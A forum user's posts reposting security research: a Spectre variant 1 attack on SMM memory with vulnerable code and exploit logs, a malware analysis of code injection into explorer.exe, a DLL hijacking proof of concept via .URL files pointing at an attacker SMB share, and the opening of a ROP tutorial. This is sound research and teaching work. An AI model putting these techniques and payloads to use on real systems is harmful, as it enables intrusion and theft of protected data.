Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. System Management Mode Speculative Execution Attacks EclypsiumMay 17, 2018Research Post navigation Previous We have discovered a new application of speculative execution attacks, bypassing hardware-based memory protections. Vulnerabilities affecting speculative execution of modern processor architectures were first discovered in 2017 by Jann Horn of Google Project Zero and other security researchers. This class of vulnerabilities allows local unprivileged attackers to expose the contents of protected memory by exploiting the microarchitectural capabilities of modern out-of-order CPUs such as caching, instruction pipeline or speculative execution. We expanded on this method to gain access to the highly privileged System Management Mode (SMM) memory. Impact Because SMM generally has privileged access to physical memory, including memory isolated from operating systems, our research demonstrates that Spectre-based attacks can reveal other secrets in memory (eg. hypervisor, operating system, or application). Thus far, the Spectre and Meltdown vulnerabilities were demonstrated to affect software, such as operating systems, hypervisors or even applications within protected SGX enclaves. However, the effect on firmware has not previously been shown. While there are many different kinds of firmware present in every system, we wanted to investigate host processor firmware first. The processor executes the main system firmware, often referred to as BIOS or UEFI, when the system boots. Much of this firmware only runs at boot time; however, there is also a portion that runs in parallel with the OS in a special x86 mode known as System Management Mode (SMM). This runtime part of firmware (often referred to as SMI Handler) has long been of interest to security researchers and a target for advanced attackers, since this code has high privileges and operates outside the view of other software including the OS and any security applications. Intel CPUs use a memory protection mechanism known as a range register to protect sensitive contents of memory regions such as SMM memory, including against cache poisoning attacks. Specifically, SMM memory on Intel CPUs is protected by a special type of range registers known as System Management Range Register (SMRR). This blog post describes a modification of speculative execution attacks that can expose the contents of memory protected with this hardware-based range register protection mechanism. The proof-of-concept exploit demonstrated here leverages a modification of Spectre variant 1 (bounds check bypass) to bypass SMRR protection of SMM memory. While we used Spectre variant 1 in our research, it is likely that a similar modification of Spectre variant 2 would be similarly effective. These enhanced Spectre attacks allow an unprivileged attacker to read the contents of memory, including memory that should be protected by the range registers, such as SMM memory. This can expose SMM code and data that was intended to be confidential, revealing other SMM vulnerabilities as well as secrets stored in SMM. Additionally, since we demonstrate that the speculative memory access occurs from the context of SMM, this could be used to reveal other secrets in memory as well. Bounds Check Bypass in SMM Overview Many people have now heard of the Meltdown and Spectre attacks leveraging speculative execution side channels. In this research, we will focus on Spectre, which has been described in two variants: Bounds Check Bypass, a.k.a. Spectre variant 1 (CVE-2017-5753) Branch Target Injection, a.k.a. Spectre variant 2 (CVE-2017-5715) Spectre variant 1 (CVE-2017-5753) allows an unprivileged attacker to exploit privileged code, which correctly checks the size of a buffer located in privileged memory without any software vulnerability. Normally, correctly implemented bounds checking would prevent an attacker from gaining out-of-bounds access to the privileged buffer. However, by using Spectre variant 1, instructions causing an out-of-bounds access would still be executed speculatively by the CPU if they reside on the predicted path behind the indirect conditional branch instruction. When the CPU rolls back changes caused by the speculatively executed “out of bounds access” instructions after the target address of the indirect branch has been resolved from memory, the attacker can observe side effects in CPU caches, which allows the attacker to recover data read from privileged memory. First experiment In our experiments we used a PoC of the Spectre1 exploit, which is publicly available from GitHub. First, we ported this PoC to a kernel driver and confirmed that out-of-bounds access over speculative execution was working from the kernel privilege level. We were then able to run our experiment from the kernel privilege level against protected memory. The kernel-level PoC exploit provides access to different hardware interfaces, which gives attackers better control over the system hardware and access to different hardware interfaces such as physical memory, IO, PCI, and MMIO interfaces. It also provides access to interfaces at a higher privilege level, such as software SMI. Next, we integrated the PoC exploit into CHIPSEC in order to quickly expand our tests. In our first experiment, we tried to read protected SMRAM memory. We mapped the physical addresses of SMRAM into the virtual address space and then used the SMRAM addresses as the target of our exploit. This experimental attack scenario does not work against SMRAM, because the victim_function function is running at the kernel privilege level, which doesn’t have access to SMRAM, since it protected by SMRRs. In this experiment, a read memory transaction within the speculative execution flow doesn’t work. The hardware protection drops this type of read, and the contents of SMM are not exposed to a kernel-privileged attacker. Example output: [506147.777314] SPECTRE1 [506147.777319] SMRR BASE: 7e800000 [506147.777335] mapped va: ffffb6db80343000 [506147.777338] reading content directly: [506147.777338] 0xFFFFFFFF ... [506147.777356] 0xFFFFFFFF [506147.777884] Reading 40 bytes by Spectre1: [506147.777885] Reading at malicious_x = ffffb6dbbfcd1fa0... [506147.778132] Success: [506147.778133] 0x00=’?’ score=3 [506147.778135] Reading at malicious_x = ffffb6dbbfcd1fa1... [506147.778234] Success: [506147.778235] 0x00=’?’ score=3 [506147.778237] Reading at malicious_x = ffffb6dbbfcd1fa2... [506147.778335] Success: [506147.778336] 0x00=’?’ score=3 … As we can see above, the contents of SMRAM are protected against this attack scenario. Next, we enhanced the attack scenario. We tried to make SMRAM cacheable (set as Write-Back) over MTRRs and also set MSR_IA32_MTRR_DEF_TYPE to Write-Back as well. This enhancement didn’t help, and SMRAM was still not accessible, indicating that SMRR has a higher priority than MTRRs. But this experiment also gave us an idea about how Spectre1 works for different memory transactions. We learned: Spectre1 works for uncacheable memory (checked over memory set to uncacheable over MTRRs). Spectre1 doesn’t work for MMIO. We assumed this is because MMIO access is much slower than memory access. Spectre1 from kernel mode, with a speculative execution flow running in kernel mode, doesn’t work for SMRAM. SMRR protection is preventing speculative memory access. So, we needed to run a speculative flow within SMRAM, and this was our next step. By running this experiment, we would know whether range registers prevent speculative execution in a scenario when the attacker controls arguments passed to a victim_function in SMM from a Spectre1 exploit running in the kernel. Linux eBPF JIT it is definitely a practical attack scenario with these conditions. SMM doesn’t have any JIT in SMRAM, so attackers need to find vulnerable code within SMI handlers. Systems have firmware with many SMI handlers in SMRAM that are very likely to have vulnerable code. Applying Spectre Variant 1 to SMM We modified the attack scenario and developed a proof-of-concept that exploits the Bounds Check Bypass vulnerability and exposes arbitrary contents from SMRAM, bypassing SMRR protection. The theory behind this modified attack against SMM is roughly as follows: An OS-level exploit invokes an SMI, which will cause the CPU to transition to SMM and execute SMI handler firmware. The SMI handler accesses elements of an array residing in SMRAM (not accessible to OS kernel or user-mode applications). Before accessing, the SMI handler validates the index of an element to be accessed against the length of the array, because the index is untrusted, supplied by less privileged mode (e.g., the OS). The check translates into a conditional branch executed by the CPU. The CPU starts resolving the target address of the indirect branch. While the CPU is waiting for the branch target to be resolved, it uses branch prediction mechanisms to “predict” the target address while it’s still not available in order to execute the next SMI handler instructions (which are executed “speculatively”). The SMM instructions executed speculatively may load the value of an “element” outside of bounds of the array using the untrusted index value. This points to some location inside SMRAM, which the attacker wants to expose. The data is then loaded from memory and cached by the CPU in the data cache at locations that are outside of SMRAM (in OS accessible memory) but depend on this [secret] SMRAM value. The OS-level exploit can then measure the access time to these different non-SMRAM locations using one of the cache timing side-channel techniques (e.g., FLUSH+RELOAD). The time to access cache-lines in the data cache loaded based on secret SMRAM value will be smaller. This discloses information about the secret value stored in SMRAM to the less privileged OS mode regardless of SMRR protections. Bypassing System Management Range Registers Based on the attack scenario above, we ran the following experiment: We found a conditional branch validating the index into an array in one of the SMI handlers. This index should be the one controlled by the OS-level attacker. For the sake of a proof-of-concept, it is possible to inject the “vulnerable” function, as in the following example victim_function. The goal of this experiment was to demonstrate the impact of original Spectre attacks on memory protections like range registers. We triggered the vulnerable code in the SMI handler (by calling SW SMI or other SMM interfaces) with out-of-bounds array access, which caused speculative execution and the loading of data from an arbitrary SMRAM location to the data cache. We recovered the SMRAM data by measuring access time to different non-SMRAM locations in the data cache using one of the cache timing side-channel techniques. As a result of running the above experiment, we’ve successfully recovered data that was stored in SMRAM and protected by SMRR. This proof-of-concept exploit is a modified Spectre variant 1 PoC exploit running with kernel-mode privileges. Example of vulnerable SMI code: struct arrays { UINT64 array1_size; UINT8 unused1[64]; UINT8 array1[160]; UINT8 unused2[64]; UINT8 array2[256 * 512]; }; CHAR8 * secret = "SMM. The Magic Words are ..."; UINT8 temp = 0; /* Used so compiler won’t optimize out victim_function() */ __declspec(noinline) VOID victim_function(UINT64 x, struct arrays *arrays_ptr) { if (x array1_size) { temp &= arrays_ptr->array2[arrays_ptr->array1[x] * 512]; } } Example of the output from the kernel driver for the recovery of 6 bytes of a secret string: [63186.685023] [SPECTRE1] Arg: 7e8264c0 [63186.685034] [SPECTRE1] allocate_arrays() pa_array1: 2cec0048 [63186.685037] [SPECTRE1] allocate_arrays() va_array1: ffff8e086cec0048 [63186.685046] [SPECTRE1] address of va_addr: ffff8e086cec0000 [63186.685049] [SPECTRE1] phys address of arrays: 2cec0000 [63186.685050] [SPECTRE1] address of secret: 7e8264c0 [63186.685051] [SPECTRE1] value of malicious_x: 51966478 [63186.685109] Reading 6 bytes from SMM: [63186.685110] Reading at malicious_x = 0000000051966478... [63187.533644] Success: [63187.533646] 0x00=’?’ score=1 [63187.533647] Reading at malicious_x = 0000000051966479... [63187.886660] Success: [63187.886661] 0x00=’?’ score=1 [63187.886662] Reading at malicious_x = 000000005196647a... [63189.017075] Success: [63189.017077] 0x00=’?’ score=12 [63189.017077] (second best: 0x4D score=5) [63189.017078] Reading at malicious_x = 000000005196647b... [63192.551132] Unclear: [63192.551133] 0x00=’?’ score=44 [63192.551133] (second best: 0x2E score=27) [63192.551134] Reading at malicious_x = 000000005196647c... [63193.116332] Success: [63193.116333] 0x00=’?’ score=4 [63193.116334] (second best: 0x20 score=1) [63193.116335] Reading at malicious_x = 000000005196647d... [63193.328231] Success: [63193.328232] 0x00=’?’ score=1 We recovered 3 bytes: 0x4D 0x2E 0x20 which is ‘M. ‘ the third, fourth, and fifth symbols from the secret string. This exploit doesn’t cause any stability problems and can be executed multiple times to recover the entire contents of memory protected by the SMRR. For all our experiments we used a Supermicro X9SPU-F server with: Intel® Core™ i3-3220 CPU (Ivy Bridge) Ubuntu 16.04.3 LTS The system has a modified BIOS with an SMI handler that contains the code pattern (index-based array size validation) from the original Spectre variant 1 exploit to confirm that these types of speculative cache loads can be exploited to read secrets from SMRAM if this code pattern is found inside an SMI. It should be noted that the code pattern does not contain a software vulnerability and is a common way to ensure that the index in the array is outside of the array bounds, i.e., a security check. Also, we used spectre-meltdown-checker to check if system is vulnerable for Spectre1. According to this tool: CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1' … > STATUS: NOT VULNERABLE (Mitigation: OSB (observable speculation barrier, Intel v6)) … Spectre1 is mitigated only by software patches and not a microcode update. However, for the sake of our experiment, we updated the test system with the latest microcode update available from the Intel website. It is an Intel i3-3220 CPU (model 58 stepping 9) with microcode patch version 0x1f. According to Intel’s Microcode Revision Guidance, this was the latest microcode version available for this system. Future Research We tested the PoC only against System Management Range Registers (SMRR), but it’s likely that a similar attack would work against memory relying on other hardware-based range register protection mechanisms. Because the vulnerability is triggered by executing the privileged code after a transition into the privileged mode, any protection mechanism used to protect memory accessible from the privileged mode (SMM in our example) but inaccessible to an unprivileged mode (OS kernel in our example) does not prevent leaking the contents of memory via the speculative execution side-channel. We demonstrated how this attack can bypass protection based on range registers; however, we believe other mechanisms are equally affected. While we have only confirmed that the Spectre variant 1 attack would work against SMM, Branch Target Injection (Spectre variant 2) should also be effective as long as branch prediction history is not invalidated when transitioning to privileged mode, such as SMM. Mitigation We began working with Intel on this in March. They recommended that the same software guidance to mitigate Spectre variant 1 should also be applied to SMM. The analysis released by Intel recommends using LFENCE instructions to mitigate Spectre variant 1. This should also apply to the firmware developed by system manufacturers or independent BIOS vendors. However, while it’s relatively straightforward to update the OS and applications to mitigate exposure to this attack, redesigning and updating the firmware adds significant complexity. Moreover, many organizations do not apply the latest firmware updates, which often require visiting the manufacturer’s website in order to download and manually install them. Hardware vendors have also introduced mitigations to the other Spectre attacks. For example, Intel introduced Indirect Branch Restricted Speculation (IBRS) to mitigate Spectre variant 2 attacks. According to the Speculative Execution Side Channel Mitigations document released by Intel, in processors that include basic support of IBRS (even without enabling by software) “software executed before a system management interrupt (SMI) cannot control the predicted targets of indirect branches executed in system-management mode (SMM) after the SMI.” Another mitigation strategy is for firmware to limit the access that SMM has to memory. Most firmware will map physical memory into the page table used by SMM. However, the latest version of Tianocore uses techniques described in A Tour Beyond BIOS – Memory Protection in UEFI BIOS to only map the necessary portions of memory. This should greatly reduce the impact. However, most current systems are probably based on an older version of Tianocore. Firmware developers should consider back-porting this feature to protect users from this and other SMM vulnerabilities. Conclusion Our research showed that Spectre variant 1 speculative execution side-channel attacks are applicable across range register protection boundaries and can be used to exfiltrate data protected by range registers. In our example, we demonstrated this attack scenario against x86 System Management Mode (SMM) and exfiltrated data from System Management RAM protected by the CPU hardware. This expands the impact of Spectre vulnerabilities. Rather than just revealing secrets from another victim process, our analysis reveals that attackers can leverage SMM’s access to physical memory and steal secrets from other processes, hypervisors, or even firmware. Intel has indicated that existing mitigation guidance would be effective, and the PSIRT team has provided helpful responses to our communications about this issue. Sursa: https://blog.eclypsium.com/2018/05/17/system-management-mode-speculative-execution-attacks/
  2. Through the Window: Creative Code Invocation February 5, 2014 Chris Dietrich Research & Threat Intel Recently, while analyzing a targeted attack, CrowdStrike observed an interesting code invocation technique that we want to describe here. This particular technique can be used to invoke code that has been injected into explorer.exe. Many targeted attacks involve executing malicious code. No matter how a target gets infected, at some point an adversary typically aims to execute some kind of remote access tool (RAT), which is then used, for example, to exfiltrate critical information from the victim. Furthermore, malware often strives for persistence and stealth. A popular way to achieve persistence and stealth on 32-bit Windows is to inject the malware into the process explorer.exe. Since explorer.exe is always running and since it is deemed benign, the malware has a higher chance to persist. The basic procedure to execute injected code consists of two steps: code injection and code invocation. First, the code to be executed has to be injected into a target process, such as explorer.exe. Then, this injected code must be triggered in order to execute. Windows offers a variety of ways to inject code into another process and have this code executed, and many of these techniques are well known. For example, one of the simpler ways to achieve this is the following: The malware acquires a handle to the target process, e.g., using OpenProcess(). It allocates memory space in the target process and writes the code to be executed into the target process, e.g., using WriteProcessMemory(). Finally, the malware can use the function CreateRemoteThread() to execute the newly injected code. However, anti-virus solutions are aware of this specific method and will handle it appropriately. As a result, adversaries tend to use more subtle injection and invocation methods. Using Window Handling Procedures for Invocation Recently, CrowdStrike has noticed increased use of a less-obvious code invocation technique. While the technique itself has been known to the security community since at least the end of 2012, it is not as commonly observed as other techniques and bears witness of a skilled adversary. In this case, code injection into the running explorer.exe process is achieved by means of a shared section. For example, a malicious process would create a new section, and map views of this section into itself and explorer.exe. Subsequently, when the malicious process writes code into this shared section, the code will also be available from inside the target process. As part of the mapping, the base address of the shared section’s view in explorer.exe can be acquired. This will be needed later on, when preparing to trigger the injected code. Once the injection has worked, the injected code needs to be executed, and here creativity comes into play. In short, the goal of the malware is to overwrite a function pointer used by the taskbar’s window handling procedure. More precisely, Windows exhibits a feature called extra window memory. Extra window memory allocates up to 40 bytes of memory with each instance of a window class that makes use of the extra window memory feature. In order to access and modify data of the extra window memory, the functions GetWindowLong() and SetWindowLong() can be used. In the context of malware, this extra window memory feature can be used for invocation under certain circumstances. For this to work, the malware acquires a handle to the taskbar window that is the only window of the window class “Shell_TrayWnd”. This window is always associated with explorer.exe. Thus, the malware calls FindWindowA(className=”Shell_TrayWnd”) to get a handle to the corresponding window. As a next step, the function SetWindowLong() is called. As described above, this function is intended to change attributes of a specific window and allows the malware to change values in the extra window memory. The taskbar window uses extra window memory and stores a function pointer at offset 0. The disassembly below shows the corresponding part of the taskbar’s window handling procedure, located in explorer.exe. The taskbar’s window handling procedure makes use of the function pointer at offset 0 in the extra memory (contained in ESI): 01001b48 mov eax, [esi] ; esi is a pointer to a pointer to a function 01001b4a push esi 01001b4b call [eax] By calling SetWindowLong() with the taskbar’s window handle, an offset of 0, and a pointer to the entrypoint of the injected code as parameters, the malware can effectively replace the function pointer used by the taskbar’s window handler. The Relative Virtual Address (RVA) of the entry point needs to be adjusted to the base address of the shared section in the target process. Conveniently, this base address is stored in a pointer argument when calling MapViewOfSection(). In order to make sure that the modified function pointer of the window handler is triggered, the malware sends a message to the window, e.g., using SendNotifyMessageA() or PostMessageA(). In effect, this will result in the injected code being executed in the context of explorer.exe. Interestingly, overwriting the taskbar’s window handling procedure (SetWindowLong() with offset GWL_WNDPROC) is only allowed from the handling process itself (explorer.exe). However, overwriting the function pointer at offset 0 as discussed above is not bound to this restriction. In summary, a typical sequence of API calls used in this invocation technique is shown in the pseudo code snippet below: // Create a shared section and map it into both, the current process // as well as explorer.exe ntdll.NtCreateSection(..) ntdll.MapViewOfSection(hCurrentProcess, ..) ntdll.MapViewOfSection(hExplorerProcess, ..) // Find the taskbar window and overwrite the function pointer // used by its window handling procedure hTaskbarWnd = user32.FindWindowA(..) user32.SetWindowLong(hTaskbarWnd, 0, ppMalwareEP) // Trigger the taskbar window handling procedure PostMessageA(..) or SendNotifyMessageA(..) Example of a Recent Targeted Attack Let’s turn to a recent sample used in a targeted attack. In fact, the PE binary with an MD5 hash of 111ed2f02d8af54d0b982d8c9dd4932e has been observed as part of an attack alleged to have targeted embassies in a Middle East capital. Interestingly, this sample makes use of the above-mentioned invocation technique. While the sample employs a variety of methods to hinder analysis, we are primarily interested in the malware’s code injection and invocation in explorer.exe. In this case, the malware proceeds exactly as described above. First, it creates a shared section as shown in the disassembly below: Following that, the malware maps views of the section into its own process and into explorer.exe. The following figure shows the disassembly of the second call to MapViewOfSection where a pointer to the base address of the shared section’s view is stored in EDX. Then, it proceeds by retrieving a handle to the taskbar window using FindWindowA() with a class name of Shell_TrayWnd. The class name string is decrypted by XOR’ing each character with 0x2E. Afterward, it overwrites the pointer used by the window handling function with the entry point of its injected code and triggers it using PostMessageA(). Technique Variations and Improvements This invocation technique exists in several variants. For example, one variant saves (using GetWindowLong()) and restores the original pointer to the window handling procedure for the taskbar window, once the injected code has been triggered. This particular variant has been observed with a malware referred to as Powerloader, as well as the Hesperbot banking trojan and the Gapz malware family. Another related variant has been observed to avoid creating a new section, and instead it opens an existing shared section, such as BaseNamedObjectsShimSharedMemory. Using an existing shared section avoids the need to map a view of a newly created section into explorer.exe and is thus even less obvious. A more advanced variant of this technique attempts to tackle DEP by means of Return-Oriented Programming (ROP). In summary, this blog post examined a way of invoking code injected into explorer.exe by overwriting a function pointer used by the taskbar’s window handling procedure. Interestingly, this specific technique has been observed with both selected malware families in the cyber crime domain (Powerloader, Hesperbot banking trojan, Gapz), as well as at least one recent targeted attack. For more information on this technique for process injection or the adversaries using it, including detection logic or any of the adversaries tracked by CrowdStrike, please contact: intelligence@crowdstrike.com and inquire about our Intelligence subscription. Sursa: https://www.crowdstrike.com/blog/through-window-creative-code-invocation/
  3. Attacking a co-hosted VM, Paul Fariello, Mehdi Talbi, INFILTRATE 2018
      • 1
      • Upvote
  4. DLL Hijacking via URL files This blogpost describes how I got annoyed by vulnerabilities in 3rd party Windows applications, which allowed to execute local files but without parameters. So I decided to find a vulnerability in Windows itself to properly exploit them. The Problem On multiple occasions I encountered an application with a vulnerability, which would allow to execute a local file. This means an attacker controlled string ended up in a Windows API call like ShellExecute although the system call itself does not really matter. The problem was that I was not able to control any parameters eg. I was able to pass file:///c:/windows/system32/cmd.exe but could not actually execute any malicious payload. And just opening cmd.exe, calc.exe, powershell.exe etc. is kinda boring. So I started to brainstorm how I can abuse this kind of vulnerability and be able to actually execute my own program code: Abusing the download folder The first idea, which could come to mind, is abusing the vulnerable application to trigger a download of a file. As soon as the file is downloaded the vulnerability could be triggered again and the downloaded file gets executed. This approach has two problems: 1) It requires that I am able to trigger a download of a file without user interaction 2) Even if the requirement of step 1 are fulfilled, Windows has another hurdle: The Zone model for downloaded files or to be exact: Zone.Identifiers Zone Identifiers In case a file is downloaded (eg. via the web browsers) Windows adds an Alternative Data Stream called Zone.Identifier to the file. Simplified speaking: An Alternative Data Stream is data (binary, text etc), which is not stored in a file itself but instead attached to another file. The Syntax to read an ADS is the following: <realfileOnDisk>:<ADSName>. In case of a downloaded file this additional information describes the zone the file was downloaded from. I am not going into all the details of this model and its implications but to keep it short: In case a file is downloaded from a domain like example.com, it gets assigned a Zone ID of 3: >dir /R downloaded.exe downloaded.exe:Zone.Identifier:$DATA >notepad downloaded.exe:Zone.Identifier [ZoneTransfer] ZoneId=3 As soon as the ZoneId is > 2 Windows will show the following warning dialog for potential insecure file extensions: Figure 1: Warning Dialog This means that I have to find an extension, which not only allows me to execute a malicious payload but additionally is not covered by this protection scheme as I want to avoid the necessity of a user click. As this feature has been around for quite a long time I decided to move on. I have to mention that I discovered that certain 3rd party extensions like Pythons .py files bypass this protection but this requires that Python is installed and the python executable is present in the environment variable. SMB/UNC Paths After I dismissed the idea of downloading files I moved on to SMB/UNC paths. On Windows it is possible to open and execute files from remote SMB shares by using the file:/// protocol handler: file://attacker.com/SMBShare/fileYouWantoToOpen My first naive thinking was: As the file is hosted on a remote SMB share, there is no Zone.Identifier ADS present and therefore any file should execute without any problems. All I need to do is create a malicious file and host it on my SMB Share, make it publicly accessible and pass a proper file:// protocol URL to the vulnerable application.... Yeah thats not how it works. Just have a look at the following examples: file://attacker.com/SMBShare/evil.exe file://attacker.com/SMBShare/test.bat This will display the same warning dialog as shown in Figure 1. As I didn't want the need for a user-click I started to get frustrated. As a last resort I started to use lists of malicious file extensions on Windows, which were abused by malware in the past and added some of my own ideas. I then created a file for each extension and uploaded them to my remote SMB share and executed them. The start of the solution - .URL After finishing the enumeration I discovered that .URL files are executed from remote SMB shares without any warning dialog (file://attacker.com/SMBShare/test.URL). I was familiar with the following .URL structure : Link to a local file: [InternetShortcut] URL=C:\windows\system32\cmd.exe Link to a HTTP resource: [InternetShortcut] URL=http://example.com Once again this does not allow to pass any parameters so it seems like we are right back at the beginning. But thankfully someone already documented all the supported properties of .URL files so I decided to have a look: The classic URL file format is pretty simple; it has a format similar to an INI file: Sample URL File: _______________________________________________________ [InternetShortcut] URL=http://www.someaddress.com/ WorkingDirectory=C:\WINDOWS\ ShowCommand=7 IconIndex=1 IconFile=C:\WINDOWS\SYSTEM\url.dll Modified=20F06BA06D07BD014D HotKey=1601 _______________________________________________________ I think the WorkingDirectory directive is self explanatory but it allows to set the working directory of the application, which is specified by the URL directive. I immediately thought about DLL Hijacking. This kind of vulnerability was especially abused in 2010 and 2011 but is still present to this day. In case an application is vulnerable to DLL Hijacking it is possible to load an attacker controlled DLL from the current working directory instead of its application folder, windows folder etc. This gave me the following idea: [InternetShortcut] URL=file:///c:/<pathToAnApplication> WorkingDirectory=\\attacker.com\SMBShare Maybe I can specify a standard Windows Application via the URL directive, set the working directory to my SMB share and force it to load a DLL from my remote share. As I am lazy I created a simple python script with the following logic: Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default. Create a .URL for each enumerated applications on a SMB share. Of course the URL directive points to the targeted application and the WorkingDirectory is set to the remote SMB share. Get a list of all the currently running processes as a base comparison. Start ProcessMonitor Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share. Execute a .URL file eg file://attacker.com/SMBShare/poc1.URL Get a list of all the currently running processes Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources. Repeat step 6,7 and 8 until all created .URL files were executed After the script is finished, ProcessMonitor will contain the list of potential executables, which could be vulnerable to DLL Hijacking. The next step is to check the stack trace of each entry and look out for LoadLibrary - this is the most obvious and simple way to start checking for a potential DLL Hijacking (I am aware that my approach is far from perfect - but I just hoped it is good enough to find a solution) TestNotes: I run this script on a laptop with Windows 10 64 Bit. In case you want to try this approach yourself, remove audit.exe from your list as it will restart the PC. The results First of all my results contained a lot of false positives, which is still confusing for me to this day as given my understanding this should not occur. As I am publishing this blogpost it is easy to guess that I succeeded. My first vulnerable application were sadly related to the touch-pad of my laptop, so I dismissed them. To cut things short - I discovered the following Procmon entry: I placed my own DLL, which creates a message box in case it gets loaded, on the SMB share and renamed the DLL to mscorsvc.dll. Now I executed the .URL file, which loads mscorsvw.exe, again and observed this: My DLL was successfully loaded from the remote share (yes in this case I used localhost)! Additionally the message box of my DLL was displayed, ergo my own code was executed! To be sure I verified this behavior by setting a static DNS entry in the C:\windows\system32\drivers\etc\hosts file and mapped attacker.com to another windows instance on my LAN. Afterwards I tested the PoC by placing the .URL file and the DLL file on the local attacker.com machine, created a fully accessible smb share and executed the payload from my test machine. Of course it worked So all in all this is the Proof-of-Concept I came up with (btw this is not the only vulnerable application I discovered): [InternetShortcut] URL=C:\windows\WinSxS\x86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667\mscorsvw.exe WorkingDirectory=\\attacker.com\SMBShare\ mscorsvw.exe will load mscorsvc.dll from the remote smb share! To sum up the attack: A vulnerable application allows to execute a file but without parameters I abuse this vulnerability to load file://attacker.com/SMBShare/poc.URL poc.URL contains structure posted above My malicious mscorsvc.dll will be loaded -> WIN There are still some problems with my Proof-of-Concept: First it requires that the targeted victim allows outbound SMB connections. Additionally the vulnerable applications I discovered are all located in WinSxS and their path contain version information - this means the windows version,language + application version can influence the path. Note: Additionally this kind of attack works in case a victim uses explorer.exe to view the remote SMB share and double clicks the .URL file. Protection I reported this issue to Microsoft and they confirmed that they could reproduce it. Afterwards I got the following response: ---- Can you still reproduce with the following registry setting enabled? We are seeing CWD network share DLL loading stopped by setting this registry key. https://support.microsoft.com/en-us/help/2264107/a-new-cwdillegalindllsearch-registry-entry-is-available-to-control-the [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager] "CWDIllegalInDllSearch"=dword:ffffffff ---- I verified that setting this registry key (a restart is required) stops the loading of DLLs from a remote SMB share and therefore blocking this attack vector . Afterwards I got permission to publish this blogpost: ---- Thank you for confirming; the engineering group has advised that since the registry key blocks the attack this doesn't represent something we would address via a security update since users can protect themselves. Absolutely; no concerns from our side with you publishing especially if you're including the details on how to protect against it. [...] ---- Posted by Alex Inführ at 7:19 AM Sursa: http://insert-script.blogspot.ro/2018/05/dll-hijacking-via-url-files.html
  5. ROPping to Victory ROP Emporium challenges with Radare2 and pwntools. Today we're going to be cracking the first ropmeporium challenge. These challenges are a learning tool for Return Oriented Programming, a modern exploit technique for buffer overflows that helps bypass security mechanisms such as DEP. They take the form of crackmes that get incrementally harder, forcing the learner to apply different techniques to overcome the challenge. The objective is to exploit the binary and get it to read the flag.txt that is in the same directory. We're going to start with the first and simplest crackme, aptly called ret2win, and focus on the 32-bit version to begin with. We'll use radare2 for the reverse engineering aspects and pwntools for slick exploit development, so this will also provide a bit of a primer for those tools. Make sure you have these installed if you want to follow along. Binary Analysis To start off, lets have a look at the file: $ file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped We see that it's a 32-bit ELF, and has not been stripped, so let's fire up radare2 have a look at what's going on. $ r2 -AAA ret2win32 [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (afta) [0x08048480]> The -AAA argument instructs radare to perform all analysis of the binary straight away, and we're then presented with a memory address at a prompt. The memory address in the prompt is the location in the binary we are currently at. This is a virtual memory address, the same used by the binary when running, assuming ASLR isn't present. By default the starting address is the address of the entry0 function, where program execution starts. We can list all the functions in the binary with afl: [0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry1.init 0x0804857b 1 123 sym.main 0x080485f6 1 99 sym.pwnme 0x08048659 1 41 sym.ret2win 0x08048690 4 93 sym.__libc_csu_init 0x080486f0 1 2 sym.__libc_csu_fini 0x080486f4 1 20 sym._fini Here we can note several interesting functions: main, pwnme and ret2win. As program execution properly starts in the main method, let's take a look at that first to orient ourselves. We can do this with the pdf (print disassembled function) command. By default, these commands in radare run at the current location. We can therefore seek to the main method and run pdf. [0x08048480]> s sym.main [0x0804857b]> pdf ;-- main: / (fcn) sym.main 123 | sym.main (); | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x08048497 (entry0) | 0x0804857b 8d4c2404 lea ecx, dword [local_4h] ; 4 | 0x0804857f 83e4f0 and esp, 0xfffffff0 | 0x08048582 ff71fc push dword [ecx - 4] | 0x08048585 55 push ebp | 0x08048586 89e5 mov ebp, esp | 0x08048588 51 push ecx | 0x08048589 83ec04 sub esp, 4 | 0x0804858c a164a00408 mov eax, dword [obj.stdout] ; [0x804a064:4]=0 | 0x08048591 6a00 push 0 | 0x08048593 6a02 push 2 ; 2 | 0x08048595 6a00 push 0 ; size_t size | 0x08048597 50 push eax ; int mode | 0x08048598 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x0804859d 83c410 add esp, 0x10 | 0x080485a0 a140a00408 mov eax, dword [sym.stderr] ; obj.stderr ; [0x804a040:4]=0 | 0x080485a5 6a00 push 0 | 0x080485a7 6a02 push 2 ; 2 | 0x080485a9 6a00 push 0 ; size_t size | 0x080485ab 50 push eax ; int mode | 0x080485ac e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x080485b1 83c410 add esp, 0x10 | 0x080485b4 83ec0c sub esp, 0xc | 0x080485b7 6810870408 push str.ret2win_by_ROP_Emporium ; 